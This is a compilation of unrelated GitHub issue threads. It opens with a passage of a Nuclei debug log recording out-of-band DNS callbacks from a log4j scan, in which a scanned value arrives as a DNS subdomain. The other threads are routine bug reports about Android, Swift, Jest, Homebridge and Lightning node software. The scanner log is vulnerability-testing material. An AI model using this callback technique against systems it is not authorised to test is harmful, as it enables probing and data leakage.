SECTION:\nns1.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\nns2.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\n","remote-address":"<IP_ADDRESS>","timestamp":"2022-04-12T15:44:56.707897118+02:00"}

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 35749
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1232

;; QUESTION SECTION:
;f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.    IN       A

[DBG] DNS Interaction:
{"protocol":"dns","unique-id":"c9ao4m1b66u9irg00010gs63qi7mpwk6t","full-id":"f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t","q-type":"A","raw-request":";; opcode: QUERY, status: NOERROR, id: 35749\n;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1\n\n;; OPT PSEUDOSECTION:\n; EDNS: version 0; flags: do; udp: 1232\n\n;; QUESTION SECTION:\n;f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\tIN\t A\n","raw-response":";; opcode: QUERY, status: NOERROR, id: 35749\n;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2\n\n;; QUESTION SECTION:\n;f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\tIN\t A\n\n;; ANSWER SECTION:\nf876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\n\n;; AUTHORITY SECTION:\nf876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tNS\tns1.nuclei.******.**.\nf876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tNS\tns2.nuclei.******.**.\n\n;; ADDITIONAL SECTION:\nns1.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\nns2.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\n","remote-address":"<IP_ADDRESS>","timestamp":"2022-04-12T15:44:56.739916065+02:00"}

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 21853
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1232

;; QUESTION SECTION:
;xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**. IN       A

[DBG] DNS Interaction:
{"protocol":"dns","unique-id":"c9ao4m1b66u9irg00010gs63qi7mpwk6t","full-id":"xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t","q-type":"A","raw-request":";; opcode: QUERY, status: NOERROR, id: 21853\n;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1\n\n;; OPT PSEUDOSECTION:\n; EDNS: version 0; flags: do; udp: 1232\n\n;; QUESTION SECTION:\n;xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\tIN\t A\n","raw-response":";; opcode: QUERY, status: NOERROR, id: 21853\n;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2\n\n;; QUESTION SECTION:\n;xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\tIN\t A\n\n;; ANSWER SECTION:\nxapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\n\n;; AUTHORITY SECTION:\nxapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tNS\tns1.nuclei.******.**.\nxapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tNS\tns2.nuclei.******.**.\n\n;; ADDITIONAL SECTION:\nns1.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\nns2.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\n","remote-address":"<IP_ADDRESS>","timestamp":"2022-04-12T15:44:56.740849742+02:00"}

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 46332
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1232

;; QUESTION SECTION:
;f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.    IN       A

[DBG] DNS Interaction:
{"protocol":"dns","unique-id":"c9ao4m1b66u9irg00010gs63qi7mpwk6t","full-id":"f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t","q-type":"A","raw-request":";; opcode: QUERY, status: NOERROR, id: 46332\n;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1\n\n;; OPT PSEUDOSECTION:\n; EDNS: version 0; flags: do; udp: 1232\n\n;; QUESTION SECTION:\n;f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\tIN\t A\n","raw-response":";; opcode: QUERY, status: NOERROR, id: 46332\n;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2\n\n;; QUESTION SECTION:\n;f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\tIN\t A\n\n;; ANSWER SECTION:\nf876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\n\n;; AUTHORITY SECTION:\nf876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tNS\tns1.nuclei.******.**.\nf876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tNS\tns2.nuclei.******.**.\n\n;; ADDITIONAL SECTION:\nns1.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\nns2.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\n","remote-address":"<IP_ADDRESS>","timestamp":"2022-04-12T15:44:56.772983875+02:00"}

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 62776
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;nuclei.******.**.       IN       AAAA

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 5896
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1224

;; QUESTION SECTION:
;nuclei.******.**.       IN       AAAA

[DBG] Polled 7 interactions for c9ao4m1b66u9irg00010 correlationID
[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 14411
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1224

;; QUESTION SECTION:
;nuclei.******.**.       IN       AAAA

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 62148
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1224

;; QUESTION SECTION:
;nuclei.******.**.       IN       AAAA

[DBG] Deregistered correlationID c9ao4m1b66u9irg00010 for key

So in such case, the correlation work and Nuclei flag the True Positive. I have attempted again with the HTTP Interaction Based vulnerability described in my initial post and it's still not flagged as True Positive, and I can't figure out what is wrong for that one.
I am able to consistently reproduce the working (log4j) and failing (HTTP Based Interaction) scenarios.
Thank you,

@Rib0ul0u, thanks for sharing this information. Do you think it would be possible for you to share an example host for the first scenario that we can use to reproduce/confirm this behavior? You can DM to pdteam on the discord server.


Insert and remove animations do not work

Very clean library, thanks!
The call to notifyDataSetChanged interrupts the default onSwipe animations in RecyclerView
   /**
     * Swap the Cursor of the CursorAdapter and notify the RecyclerView.Adapter that data has
     * changed.
     * @param cursor The new Cursor representation of the data to be displayed.
     */
    public void swapCursor(Cursor cursor) {
        this.mCursorAdapter.swapCursor(cursor);
        notifyDataSetChanged();
    }

I was able to get it working using guidance from the answer in this post:
http://stackoverflow.com/questions/31697083/recycler-view-add-remove-item-animations-not-showing-in-swapcursor
No modifications of your library are needed, but it might be good to provide info. on this in the documentation and maybe a sample that implements swipe.

Thanks for the input! I will look into this. I can probably adjust the library to set the stable ids inside the adapter so users of the library don't have to worry about it, but as you said I should make a sample because there is nothing I can do for setHasFixedSize(), the users will have to set that.


Display extracted Runner class in README.adoc

Functionality was extracted out of Application.java in this commit:
https://github.com/spring-guides/gs-messaging-rabbitmq/commit/16fea381f9a655a4357585bda80163fce84e2b6a
This adds a reference to the new Runner class to README.adoc so people following along with this guide know they need to create it for sending messages.

@thefetts Please sign the Contributor License Agreement!
Click here to manually synchronize the status of this Pull Request.
See the FAQ for frequently asked questions.

@thefetts Thank you for signing the Contributor License Agreement!

Thanks for the suggestion. I implemented it slightly differently: 2942500

Looks great, thank you!


How to use PostgreSQL earth_box query with this lib

I need to use the earth distance module to perform a location-based query. Does this lib support it? If true, how do I use it? My query looks like this:
let builder = SwifQLSelectBuilder()

builder.select(Request.table.*)

builder.from(Request.table)

let rsp = RequestServicePivot.as("request_service")
let usp = UserServicePivot.as("service_user")
let rap = RequestAddressPivot.as("address_request")

builder.join(.inner, rsp.table, on: rsp~\.requestID == \Request.id)
builder.join(.inner, usp.table, on: usp~\.serviceID == rsp~\.serviceID)
builder.join(.inner, rap.table, on: rap~\.requestID == \Request.id)
builder.join(.inner, Address.table, on: \Address.id == rap~\.addressID)

builder.where(
    \Request.userID != userID &&
    |\Request.artisanID == userID || \Request.status => .text == status|
    && earth_box(ll_to_earth($3, $4), $5) @> ll_to_earth(address."latitude", address."longitude")
)

builder.orderBy(.desc(\Request.status), .desc(\Request.createdAt))
builder.limit(limit)
builder.offset(offset)

This is the location clause earth_box(ll_to_earth($3, $4), $5) @> ll_to_earth(address."latitude", address."longitude")

@aonawale could you show your raw query which you can successfully execute in PostgreSQL directly?

I update my original question to include the full query.
This is the raw query from Postgresql.
SELECT * FROM "Request" AS request
                    INNER JOIN "Request_Service" AS request_service ON request.id = request_service."requestID"
                    INNER JOIN "Service_User" AS service_user ON request_service."serviceID" = service_user."serviceID"
                    INNER JOIN "Address_Request" AS address_request ON address_request."requestID" = request.id
                    INNER JOIN "Address" AS address ON address.id = address_request."addressID"
                    WHERE (request."userID" != $1) AND (request."artisanID" = $1 OR request."status"::text = $2::text)
                    AND earth_box(ll_to_earth($3, $4), $5) @> ll_to_earth(address."latitude", address."longitude")
                    ORDER BY request."status" DESC, request."createdAt" DESC
                    LIMIT $6
                    OFFSET $7

I've just refactored lib's code to have an ability to extend functions, so now we're able to add missing functions outside the lib.

Now you could extend the lib by adding missing methods for your query like this
// Adds custom function name
extension Fn.Name {
    static var earth_box: Fn.Name { return .init("earth_box") }
    static var ll_to_earth: Fn.Name { return .init("ll_to_earth") }
}
// Adds function builder method
extension Fn {
    /// Returns `cube`
    /// Returns a box suitable for an indexed search using the cube @> operator
    /// for points within a given great circle distance of a location.
    /// Some points in this box are further than the specified
    /// great circle distance from the location, so a second check
    /// using earth_distance should be included in the query.
    /// [Learn more →](https://www.postgresql.org/docs/9.0/earthdistance.html)
    static func earthBox(_ earth: SwifQLable, d: SwifQLable) -> SwifQLable {
        var parts: [SwifQLPart] = earth
        parts.append(o: .comma)
        parts.append(o: .space)
        parts.append(contentsOf: d.parts)
        return build(.earth_box, body: parts)
    }

    /// Returns `earth`
    /// Returns the location of a point on the surface of the Earth
    /// given its latitude (argument 1) and longitude (argument 2) in degrees.
    /// [Learn more →](https://www.postgresql.org/docs/9.0/earthdistance.html)
    static func llToEarth(_ latitude: SwifQLable, longitude: SwifQLable) -> SwifQLable {
        var parts: [SwifQLPart] = latitude.parts
        parts.append(o: .comma)
        parts.append(o: .space)
        parts.append(contentsOf: longitude.parts)
        return build(.ll_to_earth, body: parts)
    }
}

Btw @>operator is||> in SwifQL
Then try to build your query using new functions
builder.where(
    \Request.userID != userID &&
    |\Request.artisanID == userID || \Request.status => .text == status|
    && Fn.earthBox(Fn.ll_to_earth($3, $4), $5) ||> Fn.ll_to_earth(address."latitude", address."longitude")
)

Honestly I'm not sure what $3 $4 $5 and address."latitude" are in this context, so please replace them with valid values.
Hope it helps.
P.S. If you had a chance you're welcome to send PR for these earth functions with tests for them 🙂


Saturn: Mods and hacks

Some mods/hacks that I found:

There are ODEs on the market that replace the disc drive for a microsd or even a 2.5" hard drive adapter.
Action replay cartridges can be reflashed with a custom firmware to add more capabilities, including reading backups and disabling region lock. See Pseudo Saturn Kai.
The Video-cd card that loads games is now called 'satiator'.

I'll be adding more once I get my hands on a modded Saturn console (I was so close to getting one but unfortunately the seller cancelled and gave it to someone else instead 😞).

Fixed with fb3320a30ad9cb4397dffe9b5f72d17843de159b


Swift edits

Just a few minor edits - take 'em or leave 'em! ❤

Proselint found issues
_posts/2017-02-05-Retrospective-Swift-at-Artsy.md

Line
Message
Severity

139
Redundancy. Use 'free' instead of 'for free'.
warning

139
'for free' is cliché.
warning

263
'[wot]' is archaic.
warning

312
No hyphen is necessary in phrasal adjectives with an adverb ending in -ly.
warning

342
No hyphen is necessary in phrasal adjectives with an adverb ending in -ly.
warning

345
Annotation left in text.
warning

Spell Checker found issues
_posts/2017-02-05-Retrospective-Swift-at-Artsy.md

Line
Typo

14
Swift became public in June 2014, by August we had started usi

16
on Apple platforms. It was a no-brainer to then build an [appleTV app

16
no-brainer to then build an [appleTV app][emergence] in Swift, int

16
wift-support into our key app Eigen and built non-trivial parts o

18
with React Native in February 2016, and by August 2016, we annou

18
February 2016, and by August 2016, we announced that [Artsy mov

22
ct Native][react-n], and our [1-year summary][summary].

26
rew. Building anything inside Eigen rarely re-used existing nativ

26
till eventually it would take 2 iOS engineers to build a feat

28
By [March 2015][gave_up], we gave up trying

30
this?" Over the course of the 2015 winter break we explored idea

36
[Eigen][eigen] is an app where we ta

36
data and mapping it to a UI. [Eidolon][eidolon] (our Auctions Kiosk

36
. [Emergence][emergence] is a trivial-ish tvOS app which has a few view

36
][emergence] is a trivial-ish tvOS app which has a few view cont

40
Eigen is where we worried about how

40
e limited in their scope, but Eigen is basically the mobile repre

40
going to have something like Eigen.

42
needed to re-think our entire UIKit stack for Eigen. Strictly spe

42
nk our entire UIKit stack for Eigen. Strictly speaking, Objective

46
In the end, for Eigen, we came to the conclusion th

51
hich would have ended up like Spotify's ([hub][hub]) or Hyperslo's ([

51
ike Spotify's ([hub][hub]) or Hyperslo's ([Spots][spots]) ).

62
The majority of the team had 5+ years of Cocoa experience an

74
OS apps. From libraries like [Moya][moya], to foundational proje

76
. This is what happened with [Moya][moya]. It's a pattern Baseca

76
[Moya][moya]. It's a pattern Basecamp discuss when they [talk about

84
Think of apps with their own filetypes, that can control inputs and

86
rking with an API is for most 3rd party developers it should co

88
peaking, don't have. They use iCloud, or CloudKit, or whatever, an

88
n't have. They use iCloud, or CloudKit, or whatever, and expect you

96
n. A trivial string change in Eigen takes [25 seconds][eigen_25]

96
string change in Eigen takes [25 seconds][eigen_25] to show up

98
single edit in a string takes 25 seconds to see the difference

98
ference in the swift parts of Eigen pic.twitter.com/MOPGPEWqxX— 💍r

98
o/MOPGPEWqxX">pic.twitter.com/MOPGPEWqxX— 💍rta Therox (

98
m/MOPGPEWqxX— 💍rta Therox (@orta) <a href="https

98
PGPEWqxX— 💍rta Therox (@orta) September 20, 2016</cente

98
42899821621249">September 20, 2016

100
talked to Apple engineers at WWDC, the idea was dismissed as "d

102
me of these problems, and the Kickstarter app has probably the closest

121
S**idenote:** I found it hard to write th

121
encing a sibling article: [JS 2017][js-2017].

127
> References from JS 2017: [Relay][relay], [Jest][jest]

133
r Apple first and then for us 3rd party devs. Outside influence

133
language is Open Source (and [SwiftPM][swiftpm])

135
a common word for it, being [Sherlocked][sherlocked]. The project I'v

135
he project I've worked on for 5 years, CocoaPods, had an anno

135
had an announcement of being sherlocked in late-2015 - you just have

135
cement of being sherlocked in late-2015 - you just have to deal with

137
n" dir="ltr">Alfred, Dropbox, Snapchat, Parse, OpenGL, Objective-C…

137
Quite the body count this WWDC.— Mattt (@mattt) <a

137
y count this WWDC.— Mattt (@mattt) <a href="https://twi

137
this WWDC.— Mattt (@mattt) June 2**,** 2014 <scrip

137
s/473544723118837760">June 2, 2014


docs: clarify how to disable watch mode through CLI

Resolves #13930
Summary
Currently CLI documentation is missing clarification that --watch should be disabled through --no-watch, and --watchAll through --no-watchAll.
I though --no-watch and --no-watchAll are less verbose than --watch=false and --watchAll=false, but both would do the same job, of course.
Test plan
Deploy preview

@mrazauskas you'll update the other versions as well? 🙂

Ah, right. I will do that tomorrow. Not at computer the whole today.

ah. I can do it 🙂


Use the correct service name

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Funny that since we moved to servlet 5, no one complained about this, so either:

No one is deploying a war package on a servlet container, or
The com.vaadin.hilla.startup.EndpointsValidator is loaded by Flow automatically since it is implementing com.vaadin.flow.server.startup.ClassLoaderAwareServletContainerInitializer.

Then, the question is do we actually need it?
Anyway, this change doesn't harm anyone and should have been applied sooner.

Should maybe also be cherry picked to 24.4.x?

Should maybe also be cherry picked to 24.4.x?

At least to 24.4.
2.5 is also using the jakarta namespace.


[Bug]: Cannot add camera accessory

What happened?
A bug happened!
After configuration (and reinstalling) of the new beta v2.0.0-beta.5, it's not possible to add the camera accessory. It just doesn't occur.
With the old beta, there was no problem... Unfortunately I updated homebridge, node etc. then s.th. didnt't work ... so I reinstalled the old versions, but in combination with the new beta there was no streaming possible ... so I deleted the old cam-accessory in the home app, tried to reinstall the homebridge-eufy-sec. plugin and reconfiguring it - didn't help. So the bug is: now the cam-accessory cannot be not found any more by the apple home app (waiting circle all the time), although the homebridge log seems absolutely fine and I entered the setup-code, too.
Thanks for any help! 👍
Device Type
Station (Supported)
Plugin Version
beta (Best Effort)
HomeBridge Version
v1.4.x (Supported)
NodeJS Version
v16 (Supported)
Operating System
Raspbian 10+ (Supported)
Relevant log output
[5/5/2022, 11:10:26 PM] [EufySecurity-2.0.0-beta.5] INFO:  You're using guest admin account with this plugin! This is recommanded way!
022, 11:10:26 PM] [EufySecurity-2.0.0-beta.5] INFO:  You're using guest admin account with this plugin! This is recommanded way!
[5/5/2022, 11:10:26 PM] [EufySecurity-2.0.0-beta.5] INFO:  Adding new accessory: Terracam
[5/5/2022, 11:10:26 PM] [EufySecurity-2.0.0-beta.5] INFO:  Adding new accessory: Hauswirtschaftsraum
[5/5/2022, 11:10:26 PM] [EufySecurity-2.0.0-beta.5] INFO:  Adding new bridged accessory: Terracam
[05/05/2022, 23:10:26] Terracam D1E4 is running on port 42347.
[05/05/2022, 23:10:26] Please add [Terracam D1E4] manually in Home app. Setup Code: 285-67-845

You need to add the camera manually from apple home app

You need to add the camera manually from apple home app

But... that's exactly what I'm trying... the cam just does not occur any more when I am in the add menu.

You can still uncheck the unbridge within the camera settings.

Just tried the bridged mode - now the cam occurs, starting with a frame that "device doen't respond"...
Then I started the video stream - all seem fine but after a few seconds the stream stops (easily obvious via the cam's clock in the video's picture).
And the log says:
[5/8/2022, 11:06:32 AM] [EufySecurity-2.0.0-beta.5] INFO:  Terracam Starting video stream: 1280x720, 30 fps, 299 kbps  (AAC-eld)
[5/8/2022, 11:06:35 AM] [EufySecurity-2.0.0-beta.5] INFO:  Terracam Getting the first frames took 2.549 seconds.
[5/8/2022, 11:06:36 AM] [EufySecurity-2.0.0-beta.5] ERROR: Terracam FFmpeg exited with code: 0 and signal: null (Error)
[5/8/2022, 11:06:36 AM] [EufySecurity-2.0.0-beta.5] INFO:  Terracam Stopped video stream.
[5/8/2022, 11:07:09 AM] [EufySecurity-2.0.0-beta.5] INFO:  Terracam Starting video stream: 640x480, 30 fps, 299 kbps  (AAC-eld)
[5/8/2022, 11:07:13 AM] [EufySecurity-2.0.0-beta.5] INFO:  Terracam Getting the first frames took 3.275 seconds.
[5/8/2022, 11:07:29 AM] [EufySecurity-2.0.0-beta.5] ERROR: Terracam FFmpeg exited with code: 0 and signal: null (Error)
[5/8/2022, 11:07:29 AM] [EufySecurity-2.0.0-beta.5] INFO:  Terracam Stopped video stream.
What's the problem with the FFmpeg?
Thank's in advance! :-)

Hey @gintonic4all
are you still having issues with your streaming?
Have you tried the latest beta?

Hi.
This is now added under Common Issues.
Also see Bridged and Unbridged Mode and Problems for more details.


Rebase for previous PR

(last PR didn't squash-merge properly because of a misconfigured git email address; this PR rebases the changes on top with proper authorship so there are no longer extra commits hanging around)

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint.


[bug]: LND unable to establish or maintain certain p2p connections

Background
We have a public node with many channels and many peers. Over the last 7-10 days, this node has seen a significantly heightened failure rate when attempting to open channels to peers with whom we have connected and opened channels in the past.
The main thing we've noticed in our LND logs is large batches of these logs consecutively, with different IP addresses.
2024-01-15 12:24:45.868 [ERR] BTCN: Can't accept connection: unable to accept connection from <IP>:<PORT>: read tcp <OUR_IP>:9735-><IP>:<PORT>: i/o timeout
In many of these cases, we have run `nc -vvvz   and been able to establish TCP/IP connections to these peers, but LND still fails to open a connection or channel. To us, this indicates that it is not a network/firewall issue, but an LND issue.
This issue has not affected all of our peers, so the node works well for some peers, but is non-operational for others.
Your environment

version of lnd: 0.16.4-beta
which operating system (uname -a on *Nix): Linux alpine 3.18
version of btcd, bitcoind, or other backend: bitcoind 22.0
any other relevant environment details

Steps to reproduce
Unsure. Our node was working fine for quite awhile and we don't believe we changed anything around the time the issues started.
Expected behaviour
OpenChannel, Disconnect, and Connect should work as expected.
Actual behaviour

Connect returns an empty JSON map {} when we attempt to reconnect to a peer we are failing to open a channel to. However, the peer does not appear in our listPeers call, and any channels we have with them remain active: false.
Disconnect returns successfully when we call disconnect on a peer, but the peer somehow remains in the result of the listpeers call.
Any calls to open a channel (via RPC) fail due to timeout.

Does this issue persist if you upgrade to 0.17.3? That includes some existing p2p related bug fixes.
Given that you're on 0.16.4, then it would appears that https://github.com/lightningnetwork/lnd/issues/8379 doesn't apply here.

Disconnect returns successfully when we call disconnect on a peer, but the peer somehow remains in the result of the listpeers call.

If either peer has auto reconnect active, then they'll reconnect again right away (the default for channel peers).
When you receive an openchannel call that fails due to a timeout, can you obtain a goroutine dump?

version of btcd, bitcoind, or other backend: bitcoind 22.0

Also once you update to 0.17.3 (includes the mempool scanning logic, which can help reduce force closes and make your node more secure in times likethese), you should also update to bitcoind > 24. Bitcoind 24 and beyond has an RPC call that lets you find a spend in the mempool which makes the entire process more efficient.

This was a recent log from the same node. I try to open a channel to the node, and it says disconnected, but then I try to connect and it says already connected to peer
$ ./bin/lncli --tlscertpath=/opt/lnd/secrets/tls.cert --macaroonpath=/opt/lnd/secrets/admin.macaroon openchannel 03d607f3e69fd032524a867b288216bfab263b6eaee4e07783799a6fe69bb84fac --local_amt 50000000 --sat_per_vbyte 100
[lncli] rpc error: code = Unknown desc = peer 03d607f3e69fd032524a867b288216bfab263b6eaee4e07783799a6fe69bb84fac disconnected

$ ./bin/lncli --tlscertpath=/opt/lnd/secrets/tls.cert --macaroonpath=/opt/lnd/secrets/admin.macaroon connect 03d607f3e69fd032524a867b288216bfab263b6eaee4e07783799a6fe69bb84fac@<IP_ADDRESS>:9735
[lncli] rpc error: code = Unknown desc = already connected to peer: 03d607f3e69fd032524a867b288216bfab263b6eaee4e07783799a6fe69bb84fac@<IP_ADDRESS>:9735

This was a recent log from the same node. I try to open a channel to the node, and it says disconnected, but then I try to connect and it says already connected to peer

Do you see the peer rapidly connecting and disconnecting in the logs?

I don't think we do. How would we determine if they were doing that frequently? Our logs mostly say:
2024-01-15 12:24:45.868 [ERR] BTCN: Can't accept connection: unable to accept connection from <IP>:<PORT>: read tcp <OUR_IP>:9735-><IP>:<PORT>: i/o timeout

can you still interact with the node fluently using  lncli ?

The Wall can offer to troubleshoot the other side of this. Let me know what is needed.

Here is my side of the connection with River Financial 2:
2024-01-17 04:00:03.754 [INF] SRVR: Established connection to: 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735
2024-01-17 04:00:03.754 [INF] SRVR: Finalizing connection to 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735, inbound=false
2024-01-17 04:00:03.799 [INF] PEER: Peer(03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5): disconnecting 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735, reason: unable to start peer: unable to read init msg: read next header: EOF
2024-01-17 04:00:03.800 [ERR] RPCS: [/lnrpc.Lightning/SendCustomMessage]: peer 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5 disconnected
2024-01-17 04:00:03.932 [INF] SRVR: Established connection to: 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735
2024-01-17 04:00:03.932 [INF] SRVR: Finalizing connection to 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735, inbound=false
2024-01-17 04:00:03.978 [INF] PEER: Peer(03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5): disconnecting 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735, reason: unable to start peer: unable to read init msg: read next header: EOF

It repeats over and over.

My gut feeling says River2 is in a deadlock ..., thats why I am asking whether they can interact with the RPC API still, moreover do you run pruned ?

This was a recent log from the same node. I try to open a channel to the node, and it says disconnected, but then I try to connect and it says already connected to peer

Do you see the peer rapidly connecting and disconnecting in the logs?

At least from my side, my LND 17.3 is trying to reconnect in rapid succession, yes.
Further debug.log attached, here's the excerpt.
sudo tail -f .lnd/logs/bitcoin/mainnet/lnd.log | grep -E '03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5|afba2cf3d20d
5f0b36fd2ad56917977b9b0634416b57978999fd0c98a2b0fd42:3'
[sudo] password for admin:
2024-01-13 19:47:05.247 [INF] SRVR: Established connection to: 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735
2024-01-13 19:47:05.247 [INF] SRVR: Finalizing connection to 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735, inbound=false
2024-01-13 19:47:05.247 [DBG] PEER: Peer(03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5): Sending Init to 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735
2024-01-13 19:47:05.378 [INF] PEER: Peer(03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5): disconnecting 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735, reason: unable to start peer: unable to read init msg: read next header: read tcp <IP_ADDRESS>:48304-><IP_ADDRESS>:9735: read: connection reset by peer
2024-01-13 19:47:35.912 [ERR] RPCS: [/lnrpc.Lightning/DisconnectPeer]: unable to disconnect peer: peer 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5 is not connected
2024-01-13 19:47:44.009 [INF] SRVR: Established connection to: 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735
2024-01-13 19:47:44.009 [INF] SRVR: Finalizing connection to 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735, inbound=false
2024-01-13 19:47:44.009 [DBG] PEER: Peer(03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5): Sending Init to 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735
2024-01-13 19:47:44.136 [INF] PEER: Peer(03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5): disconnecting 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735, reason: unable to start peer: unable to read init msg: read next header: read tcp <IP_ADDRESS>:50338-><IP_ADDRESS>:9735: read: connection reset by peer
2024-01-13 19:50:06.439 [INF] SRVR: Established connection to: 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735
2024-01-13 19:50:06.439 [INF] SRVR: Finalizing connection to 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735, inbound=false
2024-01-13 19:50:06.439 [DBG] PEER: Peer(03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5): Sending Init to 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735
